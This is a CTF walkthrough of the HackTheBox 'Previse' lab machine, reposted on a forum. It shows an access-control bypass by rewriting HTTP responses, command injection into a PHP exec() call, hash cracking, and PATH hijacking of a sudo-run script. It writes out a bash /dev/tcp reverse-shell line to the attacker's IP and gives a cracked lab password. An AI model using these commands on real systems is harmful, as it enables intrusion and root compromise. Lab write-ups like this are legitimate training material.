• We just launched and are currently in beta. Join us as we build and grow the community.

Previse HackTheBox Walkthrough

sisica

Online Campaign Manager
S Rep
0
0
0
Rep
0
S Vouches
0
0
0
Vouches
0
Posts
144
Likes
176
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 500 XP
Introduction

Previse is a CTF Linux box with difficulty rated as “easy” on the HackTheBox platform. The machine covers bypassing access control, OS command injection, hash cracking, privilege escalation by modifying script given root privileges in the sudoers file.

Table of Content

Network Scanning

  • Nmap

Enumeration

  • Directory enumeration using gobuster
  • Deriving bad coding practice from an old backup

Exploitation

  • Exploiting bad code to gain reverse shell

Privilege Escalation

  • Cracking hashes recovered from SQL database
  • Entry of access_backup.sh script found in sudoers which was running gzip
  • Creating gzip binary with custom code to escalate privileges to root

Let’s deep dive into this.

Network Scanning

The dedicated IP address of the machine is 10.129.95.185. We’ll run a nmap scan on this machine’s IP

Code:
nmap -A 10.129.95.185

Open ports are:

  • 22 running SSH
  • 80 running a website

AVvXsEi8nzsfVwFu02ajiqNTjby8fwwiLdm3gH9Db-j22bNKYlxWYkPVh-Cpi5j53j7uTfzPciPX1myR8uvd_ZFYM_BLcuy7D1KX3mYbPFPSdLeoPmeEUakDLE7Lp6HvKFOYjQUCKf4y8cjNtGU0JcEle7SKfVJUpYQgQyCv5sCwpCsNBfxE5y46BKR9F9hPXg=s16000


Enumeration

A website was found. Upon inspecting some pages, it seemed like I had to be authenticated to access it.

AVvXsEjVPtncUh8F8Yq777Rmx_xwpTBtrOHb2rJsa8k_V4NkVL3CDKlGBpiGW5r-TTMy--b4ToAZsxJ68ntNM5keRVy-ar9MdT5Z5AduKLwjwQbklQJb5ZO2yPcjBwegoUu0JmHEahMwn8AbQwbADU_yKPbd-LXTJucIaCBysNNpX5JKyc5tPgwEs9Izafx8yQ=s16000


Then we enumerated existing PHP pages on the website using gobuster

Code:
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --url http://10.129.95.185/ -x php

AVvXsEjxF0OrblIApyyMF5iCfK8e_lOWIVjlEwyt3SlNG5KPt7e4iZO8mzwmBmbQYMJZW8l-TQesisvDlz9Btjs-BrmQ8hfNoiOcjayGRWMbrM7bYhbSiTbkhWVkJXR0Lxb4mCZRMLYnh0g5wc7UUjNy6qospq1PVE4Ninl2jYeF9CK3nyGtw51ttlix2hLkLA=s16000


We found a page called nav.php which turned out to be a navigation page for the website. On the same page, we see a create account page.

AVvXsEj9ICQ5Z91y50OjiGePzJsLnQCjfndshmk0_FxDOtJx5BLwCGnj04iUmlOl23SYVIqGMoYXs0inHKvfysaj-RrhJjl-AebsVoPS453bpn-nXUAb63UAIqWfr19P3f7L0slCpQYTA1kBITHEoo0mZdcm59JYzaQBazeqL7KvKVT_FeIyKwpCJvOVb85Ryw=s16000


After a little inspection of the create account page, we concluded that all of the pages were access protected and a user had to be logged in. So, we tried HTTP response tampering to bypass access control. For that we intercepted the request in burp

AVvXsEiEpNnPYWW-IU_zyc75uwRNUU_9grMA24lqYSLWKJ5I4niH-T4BUHaBSBO6JN4N9x08cInvax_KVDDgZA2ftXHzjbxbsJxiC2YPlUoYaE8olyKsIw59SKzv3DWQlMz2-rTByt36HdRIO3Eq0gYgCiShPQWZfktuZnn0TB_CjwvIxWfV5UdXGANAp0LIJg=s16000


Then we intercept it’s response too

AVvXsEgVGRu-8S15RUepxtJ_Q0djTvffGQXyaj8hS8X7TSx9oct8lDAQ3kIYwyGe0BgYctQ9S6MYQDjlT2sVYpcnhFP_MSjzEh8_2g5bqCoIRbG3t1hpGzAQ0t7yfdxu19HplqlqtaWAVM--cjNgzHwXNKIfw2YEDOLh0QTy6iPalCbmRbZmOaDRpKnM7l_G7g=s16000


As you can see, the page is found but due to access restriction we can’t access it and a status code of 302 is visible.

AVvXsEi1ppTIQrcSIS1QqK7AVIcuq6QVEXE5gaf9deai703lom2gPP93kCyZjDlEyNvipFCv3JRenlqtp9vxj44aQw2CPOaMeBT1deEQDTclyASKigS8rw4W1Ekd0iPKFR-kuGBC6JLLuqVnl36PLtmRyJM0ce3FE9F4TRK2H4DpQCED64lU5QzWa3lqGQkjMA=s16000


So, we changed this 302 to 200 (status OK) and forwarded the response to our browser.

AVvXsEiINj6flOAT9YJdKy3h3rf0u7JO9V-zQc1Gi_jXHBQu3CuiJvz0PLEsZqun8ysYAZjQceIPsEeHNBU80e7IT1po4S0CMu7l7awkmrFnkehG6NafIX_5-2sommK9xS-oGlfN786hrIgUHGqRjaFottSdut9qwdvj6xdEcOvJdMBTUEoxpHzsHYbKT148cg=s16000


And now, the registration page was visible. We created an account using credentials raj:123123

AVvXsEjY6HK9WMNx064xqHXur8GFnOoiAVizjPhoYptDuQg24Dw3r5_djwPyplh_Xptm4NoWl_H3AW1gSkkSpJ7Y7yn7duoiX-7Iwwoj3IH1Bp5wKH8I7QRcyZ5g_PFg45pxr5KSKK_p1BWSFswQJaESInRJB2yBxFHJXryanszEB7vrs5A_kGJdibkVYaFyYA=s16000


Then we repeated the above steps. We want to bypass access restrictions on this page in order to successfully register our new user. For this, we will intercept the request again

AVvXsEhv0FV5uN9eO0zWUxBcpw6GZTCKw6CAlnlO6prg-8xGkwPPl_YHh_mAaL-r-NWiYelyOQQwCAQjetkvS0ln0xu5C4ppKNkWOpEBvmnovWgJdgt3ssQLhq4H9CUH2CIgvL9AY2XBJ0VPVOJchPtIgI5CGkDOh9YYd6pcwWUWffc_Ke7XNMOnrDjADd9qCQ=s16000


And then we would again intercept this request’s response too.

AVvXsEiYcSV163LVIHW1DKs3xaqjJxB2liAravCLQaxmYlrdGEuvB6e9adSsnZwisUIhBRWzm9GfdqAJnu4QmC_AYFHm7tWZr6zTeHcrk-7qSfnABktC69Spu5VeRZlePzX8f2EqEZoAZU9erAXOE0Rbwa97i39SamIcEDM0fuz13hTyurJOnNF1D-uWpgjHKA=s16000


We see a 302 status yet again due to access control

AVvXsEhhdYwZGOarVq1yiBDaurG9D2MAn_dKwMkLEXgFEMIaOvBgjKe6q4VeIBjsj5JL1NZYITxdZgk0anXobWYC4Ha0G8qRojJND9m2_Q4QlclqUI7tpUQpMliiHmWQlnZ5dRTNRJAypmKppcMk7sqBN3J1gQSvpW0s_yAoAbnJxapxiItfGL4nZeZlFHm3Pg=s16000


So, we change this status to 200 and forward it to our browser to render the page

AVvXsEheLxD-nmehyOW-Te1-duZv010iCWpieDzBvJ1Rcptfnyas1uIGqO4QO_ULGjHNvjxvBTFPtodxBXLsg5UnGEwCeKfYvIfSn6wZDSID00RixkI0IZz92CgBvoZ_pq5cfp6Q3taQWdlfO6qPmrz4ofDNdfAZQ3b4FGrwKOQ-AN_bJSwPUi6vk3CIPiUG1w=s16000


Upon successful registration, we would see the congratulatory message.

AVvXsEhGy-WOnJd22eoUvoI7m_08fGV3_CZUn4VmyUI8c31YJaFdrVrrvDY5kU66ODTAY6vDDMnkrZhzpzmAvEw8QGxExVnrpLcPIah6gR-cyLOfEw-iglulwRN6VoGbBSIKUF75YsPZcqJ7CkhZoj1KMiuS6q-i7pIA-ej6ksjtXd2vMCc2_xAiXJcH41MgnQ=s16000


Exploitation

We logged in using this account and could see a dashboard where various functions are possible. There were various file-related options.

On the files tab, we saw an interesting revelation. Seems like there was an entire website’s backup kept here.

AVvXsEj73zOwf3U3ClPhVcjSHuarZmPrzLPcksRjTNWGV7ngZ9wUvdkz-MHOtU89h961KHCo0ood76WY7qcDTEclx2C8pks5xDOMAPLKwEzWLE7PKlQOajO5oM60bHv2KUNMsR7Sdmr3U9sbVPOhQswdMLab2OemGGVXgnXFM9nRRPAbDOFVqc6UnKaGpm-U4g=s16000


Upon downloading and inspecting its contents, we saw various PHP files. Two interesting files caught our eye. First was config.php which had an SQL connection logic

AVvXsEiENA0UyoXwUQBSp2fI5iglEX8F64wQerdTrJSUL-Hj6ircZlSy7RTpexN3ghuSqRTYV2F3AOBmhyvmMV_47BKF9iSgBE7fRAovog7Qn4bgkk_zevaoEx1aNL8y-s1ozLOPCuJ9yJTCipnfCWGRO4BpBUran7gKuYz842Hi67UH-5EQVn3-eAAK6hXA0Q=s16000


This file revealed to us the MySQL password, while the other file file_logs.php had a coding logic flaw that could be exploited.

AVvXsEi9SU_t9B5KqhfaLB94qt2VSrRw7uWxLaWmVRcurY0pdUsl-y1Vef0kr9Up18EChchX8-0qHQeq6cgRaY_DPg8FXp2YrfzdbRLXY63VahuweajKupKO0V3fNCscaxJTFMHGGQfTUKnfyVZC_Q_autPxxSlbmXetUhu-FS50WURyw590sq50IT7n2774Lg=s16000


As we can see, the website is vulnerable to command injection as file_logs.php is hosting an unsanitized exec () function. The associated webpage presents a dropdown menu to choose value for the parameter “delim”

AVvXsEjldNMXxgzkIRtcjQtOnO_wcj_Hg7IEIARerNQNaWxpVwC1M9g_WmIPQLBm7-zQEsY-az5oUvN8HHziMVsqHHVM8PPj3V-S6pnxnlq1hccsTxmyl9Gkwm1UUHdQ9Yp7ZWpoM1hzzlq1BPOJkQSGg2UyzuFpi-8n1qnvMmgMIkqClO9v9yeyvGbfXjO8Fg=s16000


So, we intercept the request in burp suite and input our reverse shell payload for netcat as an additional argument for the exec () function that executes system commands.

AVvXsEj0DaE5b9KOvJjz0Gj9zE7-u0vVbHOy0b1BdYBeDgQh6WXKvhUGg3JcEOJ4ove0YeoBlp5kD38Rv-EmdRz6GE1pnHQjaCrW4KdCf7D08mV-ubHc7IJupKML_wP-2ctBSYbdEBU0-F90swf5IiNOmiuzY7hOvsTBKeJwlJ-TFrZTzzBBpPXV59pAldAR-w=s16000


At our listener we see that we have received a reverse shell. We convert this into a much more stable bash shell using python one liner

Code:
python3 -c “import pty;pty.spawn(‘/bin/bash’)”

AVvXsEgeWyfbTPaWpi86w5Su8bqt3leNSGVbY8e61cgbSZXbGbsIxTrsIHNMvEAu1cAPp_ZWiOQ5iSY3sByh3YMyxRl-aA52xY4ogyKKLUhhd0gd75RgtkDZNIKY2MNmHjhqqFkEy0CtJwZ0E9Fh-_5FllFDJ4CdUxqXzQpx1hwlSCrt3SUU0dAQswp0aC252Q=s16000


Privilege Escalation

We checked in the local file system but nothing worthwhile was obtained. Then we remembered that we had obtained an SQL credential, so, we logged in to SQL and then dumped credentials for the user m4lwhere.

AVvXsEisIB5FEvuuptAJOFvftl4tR8C_iGGIo4nWGliuvQ5PVwc0BfOc1SlqCilSdKpYEwEypDk4713j3BV-aFsyInW5h45a28b2nAs3k33tH1EnzRGGQWXtOKB8OXD34hUVGlMW--FoDZDdv4FhIPUF_3WARnvlvE_8_tQzh27C2he8Ltw0qJFxtemk4Hv8Tw=s16000


We cracked this using hashcat and obtained the password: ilovecody112235

Code:
hashcat -m 500 hash Desktop/rockyou.txt

AVvXsEgp8EjWcvWRWhefK1Rlpx-PVxB6_ssds_9JL4aAn1_jrAJkk_JCXGd33dYH7OIkCxxhh3XTh7Y_ys13OkRiNiSAJKBAiiGAAfGqhnSH8QbxyXtMKtpKA6_ig_O5hRipIGj8gyy3WdbloNWCHDRiYbPTHGw4VmlVBn6CRC0AHeQDxHwBBYmsuGfy6ENx7Q=s16000


We SSHed into this device using credentials obtained and checked the sudoers file. It was observed that a script access_backup.sh could be run by the user m4lwhere as root. Upon inspecting this script, we found out that gzip was being used.

Code:
ssh [email protected]
cat user.txt
sudo -l
cat /opt/scripts/access_backup.sh

AVvXsEgwRbeKkLusLQiVvs_1Ip7-HjD5cuezcJhKxApm2vGACr4piWAVtCDMr-t-Uzfa0M1jrwUBhZZzwV-EbfDiuHrqxviGT6ZASS8JtWfq_leA6pSqXxzVCKXF9h_-k-n1v_4PVpnCRS7ll2IHihBJ-okmjDFVeuhzOZQYybGPCuZ_UBANJJgOt4pICJBthQ=s16000


So, we create an executable called gzip and input the bash one-liner reverse shell. After that, we gave it executable permissions, added the current directory in the PATH variable and run the script while setting a reverse shell listener.

Code:
nano gzip
#!/bin/bash
bash -I >& /dev/tcp/10.10.14.104/1234 0>&1
chmod +x gzip
export PATH=/home/m4lwhere:$PATH
sudo /opt/scripts/access_backup.sh

AVvXsEh48ZM5shkB0Fh9TF9jgjJX2Nn6LFUbKQvq9u6nB0DWBLeJG-X_UOMJprk0hgq1UPP8v0p70otnQhKXZBf4rG4gcTeYS3ihUcju_RRFwwaIr0Zj4fJCNMIbxS9Siw0eOiBOF5Qwxjdn9W2YYn_xZlcL2lgtzEcSVRa8YLeP10VUxiNeroBFV2uyn5B2Kw=s16000


On the listener, we see a root shell had been obtained! We traverse to the home directory and read the congratulatory flag!

AVvXsEjEIEdP0EwlIPc2rY9rWGOLsDR_Y9Dy3lDCj5XSHVLqJsKaoX79AX-okCC56cuGnbAWh9ZvBzj6c0l5zQmNP3tsPDprbW4AeyWsnP3m_zsEkn8UuhRf8jtZpdDLUFSSotF-GeYZdBrGcxfp_tCkF3r-_kfiOsjjxm3AJHv_Xgl0f2iKSYXIg0zyJ3FRJw=s16000


So, this is how we pwned the box! Thanks for reading

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
 

435,057

313,705

313,714

Top